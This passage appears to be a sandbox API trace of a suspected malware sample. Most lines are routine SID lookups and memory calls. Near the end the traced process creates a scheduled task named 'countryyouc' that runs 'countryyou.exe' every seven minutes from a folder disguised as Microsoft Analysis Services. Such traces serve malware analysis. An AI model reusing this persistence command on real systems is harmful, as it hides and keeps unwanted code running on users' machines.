[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0072.043] malloc (_Size=0x18) returned 0xeef20 [0072.043] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0072.043] malloc (_Size=0x18) returned 0xef020 [0072.044] malloc (_Size=0x18) returned 0xeef00 [0072.044] SysStringLen (param_1="S-1-") returned 0x4 [0072.044] SysStringLen (param_1="5") returned 0x1 [0072.044] memcpy (in: _Dst=0x3810e8, _Src=0x381358, _Size=0xa | out: _Dst=0x3810e8) returned 0x3810e8 [0072.044] memcpy (in: _Dst=0x3810f0, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3810f0) returned 0x3810f0 [0072.044] free (_Block=0xeef20) [0072.044] free (_Block=0xef020) [0072.044] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0072.044] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0072.044] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0072.044] malloc (_Size=0x18) returned 0xef020 [0072.044] malloc (_Size=0x18) returned 0xeef20 [0072.044] SysStringLen (param_1="S-1-5") returned 0x5 [0072.044] SysStringLen (param_1="-") returned 0x1 [0072.044] memcpy (in: _Dst=0x3812f8, _Src=0x3810e8, _Size=0xc | out: _Dst=0x3812f8) returned 0x3812f8 [0072.044] memcpy (in: _Dst=0x381302, _Src=0x381358, _Size=0x4 | out: _Dst=0x381302) returned 0x381302 [0072.044] free (_Block=0xeef00) [0072.044] free (_Block=0xef020) [0072.044] malloc (_Size=0x18) returned 0xef020 [0072.044] malloc (_Size=0x18) returned 0xeef00 [0072.044] SysStringLen (param_1="S-1-5-") returned 0x6 [0072.044] SysStringLen (param_1="21") returned 0x2 [0072.045] memcpy (in: _Dst=0x381358, _Src=0x3812f8, _Size=0xe | out: _Dst=0x381358) returned 0x381358 [0072.045] memcpy (in: _Dst=0x381364, _Src=0x3810e8, _Size=0x6 | out: _Dst=0x381364) returned 0x381364 [0072.045] free (_Block=0xeef20) [0072.045] free (_Block=0xef020) [0072.045] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0072.045] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0072.045] malloc (_Size=0x18) returned 0xef020 [0072.045] malloc (_Size=0x18) returned 0xeef20 [0072.045] SysStringLen (param_1="S-1-5-21") returned 0x8 [0072.045] SysStringLen (param_1="-") returned 0x1 [0072.045] memcpy (in: _Dst=0x3810e8, _Src=0x381358, _Size=0x12 | out: _Dst=0x3810e8) returned 0x3810e8 [0072.045] memcpy (in: _Dst=0x3810f8, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3810f8) returned 0x3810f8 [0072.045] free (_Block=0xeef00) [0072.045] free (_Block=0xef020) [0072.045] malloc (_Size=0x18) returned 0xef020 [0072.045] malloc (_Size=0x18) returned 0xeef00 [0072.045] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0072.045] SysStringLen (param_1="4219442223") returned 0xa [0072.045] memcpy (in: _Dst=0x337af8, _Src=0x3810e8, _Size=0x14 | out: _Dst=0x337af8) returned 0x337af8 [0072.045] memcpy (in: _Dst=0x337b0a, _Src=0x381358, _Size=0x16 | out: _Dst=0x337b0a) returned 0x337b0a [0072.045] free (_Block=0xeef20) [0072.045] free (_Block=0xef020) [0072.045] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0072.045] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0072.045] malloc (_Size=0x18) returned 0xef020 [0072.045] malloc (_Size=0x18) returned 0xeef20 [0072.046] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0072.046] SysStringLen (param_1="-") returned 0x1 [0072.046] memcpy (in: _Dst=0x337a58, _Src=0x337af8, _Size=0x28 | out: _Dst=0x337a58) returned 0x337a58 [0072.046] memcpy (in: _Dst=0x337a7e, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x337a7e) returned 0x337a7e [0072.046] free (_Block=0xeef00) [0072.046] free (_Block=0xef020) [0072.046] malloc (_Size=0x18) returned 0xef020 [0072.046] malloc (_Size=0x18) returned 0xeef00 [0072.046] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0072.046] SysStringLen (param_1="4223814209") returned 0xa [0072.046] memcpy (in: _Dst=0x34d958, _Src=0x337a58, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0072.046] memcpy (in: _Dst=0x34d980, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0072.046] free (_Block=0xeef20) [0072.046] free (_Block=0xef020) [0072.046] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0072.046] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0072.046] malloc (_Size=0x18) returned 0xef020 [0072.046] malloc (_Size=0x18) returned 0xeef20 [0072.046] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0072.046] SysStringLen (param_1="-") returned 0x1 [0072.046] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x3e | out: _Dst=0x327668) returned 0x327668 [0072.046] memcpy (in: _Dst=0x3276a4, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x3276a4) returned 0x3276a4 [0072.046] free (_Block=0xeef00) [0072.046] free (_Block=0xef020) [0072.047] malloc (_Size=0x18) returned 0xef020 [0072.047] malloc (_Size=0x18) returned 0xeef00 [0072.047] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0072.047] SysStringLen (param_1="3835049652") returned 0xa [0072.047] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0072.047] memcpy (in: _Dst=0x34d996, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0072.047] free (_Block=0xeef20) [0072.047] free (_Block=0xef020) [0072.047] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0072.047] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0072.047] malloc (_Size=0x18) returned 0xef020 [0072.047] malloc (_Size=0x18) returned 0xeef20 [0072.047] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0072.047] SysStringLen (param_1="-") returned 0x1 [0072.047] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x54 | out: _Dst=0x327668) returned 0x327668 [0072.047] memcpy (in: _Dst=0x3276ba, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x3276ba) returned 0x3276ba [0072.047] free (_Block=0xeef00) [0072.047] free (_Block=0xef020) [0072.047] malloc (_Size=0x18) returned 0xef020 [0072.047] malloc (_Size=0x18) returned 0xeef00 [0072.047] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0072.047] SysStringLen (param_1="1000") returned 0x4 [0072.047] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0072.047] memcpy (in: _Dst=0x34d9ac, _Src=0x3810e8, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0072.048] free (_Block=0xeef20) [0072.048] free (_Block=0xef020) [0072.048] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0072.048] malloc (_Size=0x5e) returned 0xf0800 [0072.048] free (_Block=0xeef00) [0072.048] malloc (_Size=0x18) returned 0xeef00 [0072.048] free (_Block=0xf0800) [0072.049] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0072.049] GetLastError () returned 0x7a [0072.049] malloc (_Size=0x14) returned 0xef020 [0072.049] malloc (_Size=0x16) returned 0xeef20 [0072.050] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef020, cchName=0xebcca4, ReferencedDomainName=0xeef20, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0072.050] malloc (_Size=0x18) returned 0xef040 [0072.050] malloc (_Size=0x18) returned 0xef0a0 [0072.050] free (_Block=0xef020) [0072.050] free (_Block=0xeef20) [0072.050] free (_Block=0xeff60) [0072.050] free (_Block=0xef0a0) [0072.050] free (_Block=0xef040) [0072.051] free (_Block=0xeef00) [0072.051] free (_Block=0xee200) [0072.051] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0072.051] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0072.051] GetLastError () returned 0x7a [0072.051] malloc (_Size=0x2c) returned 0xee240 [0072.051] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0072.051] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0072.051] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0072.051] malloc (_Size=0x1c) returned 0xeff60 [0072.051] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0072.051] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0072.051] malloc (_Size=0x18) returned 0xeef00 [0072.052] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0072.052] malloc (_Size=0x18) returned 0xef040 [0072.052] malloc (_Size=0x18) returned 0xef0a0 [0072.052] SysStringLen (param_1="S-1-") returned 0x4 [0072.052] SysStringLen (param_1="5") returned 0x1 [0072.052] memcpy (in: _Dst=0x381358, _Src=0x3812f8, _Size=0xa | out: _Dst=0x381358) returned 0x381358 [0072.052] memcpy (in: _Dst=0x381360, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381360) returned 0x381360 [0072.052] free (_Block=0xeef00) [0072.052] free (_Block=0xef040) [0072.052] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0072.052] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0072.052] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0072.052] malloc (_Size=0x18) returned 0xef040 [0072.052] malloc (_Size=0x18) returned 0xeef00 [0072.052] SysStringLen (param_1="S-1-5") returned 0x5 [0072.052] SysStringLen (param_1="-") returned 0x1 [0072.052] memcpy (in: _Dst=0x3810e8, _Src=0x381358, _Size=0xc | out: _Dst=0x3810e8) returned 0x3810e8 [0072.052] memcpy (in: _Dst=0x3810f2, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3810f2) returned 0x3810f2 [0072.052] free (_Block=0xef0a0) [0072.052] free (_Block=0xef040) [0072.052] malloc (_Size=0x18) returned 0xef040 [0072.052] malloc (_Size=0x18) returned 0xef0a0 [0072.052] SysStringLen (param_1="S-1-5-") returned 0x6 [0072.053] SysStringLen (param_1="21") returned 0x2 [0072.053] memcpy (in: _Dst=0x3812f8, _Src=0x3810e8, _Size=0xe | out: _Dst=0x3812f8) returned 0x3812f8 [0072.053] memcpy (in: _Dst=0x381304, _Src=0x381358, _Size=0x6 | out: _Dst=0x381304) returned 0x381304 [0072.053] free (_Block=0xeef00) [0072.053] free (_Block=0xef040) [0072.053] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0072.053] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0072.053] malloc (_Size=0x18) returned 0xef040 [0072.053] malloc (_Size=0x18) returned 0xeef00 [0072.053] SysStringLen (param_1="S-1-5-21") returned 0x8 [0072.053] SysStringLen (param_1="-") returned 0x1 [0072.053] memcpy (in: _Dst=0x381358, _Src=0x3812f8, _Size=0x12 | out: _Dst=0x381358) returned 0x381358 [0072.053] memcpy (in: _Dst=0x381368, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381368) returned 0x381368 [0072.053] free (_Block=0xef0a0) [0072.053] free (_Block=0xef040) [0072.053] malloc (_Size=0x18) returned 0xef040 [0072.053] malloc (_Size=0x18) returned 0xef0a0 [0072.053] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0072.053] SysStringLen (param_1="4219442223") returned 0xa [0072.053] memcpy (in: _Dst=0x337af8, _Src=0x381358, _Size=0x14 | out: _Dst=0x337af8) returned 0x337af8 [0072.053] memcpy (in: _Dst=0x337b0a, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x337b0a) returned 0x337b0a [0072.053] free (_Block=0xeef00) [0072.053] free (_Block=0xef040) [0072.053] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0072.054] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0072.054] malloc (_Size=0x18) returned 0xef040 [0072.054] malloc (_Size=0x18) returned 0xeef00 [0072.054] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0072.054] SysStringLen (param_1="-") returned 0x1 [0072.054] memcpy (in: _Dst=0x337a58, _Src=0x337af8, _Size=0x28 | out: _Dst=0x337a58) returned 0x337a58 [0072.054] memcpy (in: _Dst=0x337a7e, _Src=0x381358, _Size=0x4 | out: _Dst=0x337a7e) returned 0x337a7e [0072.054] free (_Block=0xef0a0) [0072.054] free (_Block=0xef040) [0072.054] malloc (_Size=0x18) returned 0xef040 [0072.054] malloc (_Size=0x18) returned 0xef0a0 [0072.054] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0072.054] SysStringLen (param_1="4223814209") returned 0xa [0072.054] memcpy (in: _Dst=0x327668, _Src=0x337a58, _Size=0x2a | out: _Dst=0x327668) returned 0x327668 [0072.054] memcpy (in: _Dst=0x327690, _Src=0x381358, _Size=0x16 | out: _Dst=0x327690) returned 0x327690 [0072.054] free (_Block=0xeef00) [0072.054] free (_Block=0xef040) [0072.054] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0072.054] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0072.054] malloc (_Size=0x18) returned 0xef040 [0072.054] malloc (_Size=0x18) returned 0xeef00 [0072.054] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0072.054] SysStringLen (param_1="-") returned 0x1 [0072.055] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0072.055] memcpy (in: _Dst=0x34d994, _Src=0x381358, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0072.055] free (_Block=0xef0a0) [0072.055] free (_Block=0xef040) [0072.055] malloc (_Size=0x18) returned 0xef040 [0072.055] malloc (_Size=0x18) returned 0xef0a0 [0072.055] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0072.055] SysStringLen (param_1="3835049652") returned 0xa [0072.055] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x40 | out: _Dst=0x327668) returned 0x327668 [0072.055] memcpy (in: _Dst=0x3276a6, _Src=0x381358, _Size=0x16 | out: _Dst=0x3276a6) returned 0x3276a6 [0072.055] free (_Block=0xeef00) [0072.055] free (_Block=0xef040) [0072.055] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0072.055] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0072.055] malloc (_Size=0x18) returned 0xef040 [0072.055] malloc (_Size=0x18) returned 0xeef00 [0072.055] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0072.055] SysStringLen (param_1="-") returned 0x1 [0072.055] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0072.055] memcpy (in: _Dst=0x34d9aa, _Src=0x381358, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0072.055] free (_Block=0xef0a0) [0072.055] free (_Block=0xef040) [0072.055] malloc (_Size=0x18) returned 0xef040 [0072.055] malloc (_Size=0x18) returned 0xef0a0 [0072.055] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0072.056] SysStringLen (param_1="1000") returned 0x4 [0072.056] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x56 | out: _Dst=0x327668) returned 0x327668 [0072.056] memcpy (in: _Dst=0x3276bc, _Src=0x381358, _Size=0xa | out: _Dst=0x3276bc) returned 0x3276bc [0072.056] free (_Block=0xeef00) [0072.056] free (_Block=0xef040) [0072.056] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0072.056] malloc (_Size=0x5e) returned 0xf0800 [0072.056] free (_Block=0xef0a0) [0072.056] malloc (_Size=0x18) returned 0xef0a0 [0072.057] free (_Block=0xf0800) [0072.057] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0072.057] GetLastError () returned 0x7a [0072.057] malloc (_Size=0x14) returned 0xef040 [0072.057] malloc (_Size=0x16) returned 0xeef00 [0072.058] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebccb4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0072.058] malloc (_Size=0x18) returned 0xeef20 [0072.058] malloc (_Size=0x18) returned 0xef020 [0072.058] free (_Block=0xef040) [0072.058] free (_Block=0xeef00) [0072.058] free (_Block=0xeff60) [0072.058] free (_Block=0xef020) [0072.058] free (_Block=0xeef20) [0072.058] free (_Block=0xef0a0) [0072.059] free (_Block=0xee240) [0072.059] malloc (_Size=0x48) returned 0xed270 [0072.059] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0072.067] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0072.067] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0072.067] malloc (_Size=0x18) returned 0xef0a0 [0072.067] CreateEnvironmentBlock () returned 0x1 [0072.072] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0072.072] malloc (_Size=0x18) returned 0xeef20 [0072.072] CreateProcessAsUserW (in: hToken=0x248, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"countryyouc\" /sc MINUTE /mo 7 /tr \"'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"countryyouc\" /sc MINUTE /mo 7 /tr \"'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'\" /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xfe8, dwThreadId=0xfec)) returned 1 [0072.078] CloseHandle (hObject=0x2f8) returned 1 [0072.078] CloseHandle (hObject=0x2fc) returned 1 [0072.078] free (_Block=0xeef20) [0072.078] DestroyEnvironmentBlock () returned 0x1 [0072.078] malloc (_Size=0x48) returned 0xed400 [0072.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x53ed3de0, dwHighDateTime=0x1d9eb0c)) [0072.078] SetEvent (hEvent=0x1f0) returned 1 [0072.079] CloseHandle (hObject=0x234) returned 1 [0072.079] CloseHandle (hObject=0x248) returned 1 [0072.181] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0072.181] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0072.181] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0072.535] SetLastError (dwErrCode=0x0) [0072.535] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0072.535] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0072.535] SetLastError (dwErrCode=0x0) [0072.535] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0072.535] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0072.535] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0072.535] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f1f0 [0072.535] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f1f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0072.535] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f1f0 | out: hHeap=0x2e0000) returned 1 [0072.537] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0072.538] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0072.538] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0072.538] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0072.538] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0072.538] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0072.538] ?Release@CWbemObject@@UEAAKXZ () returned 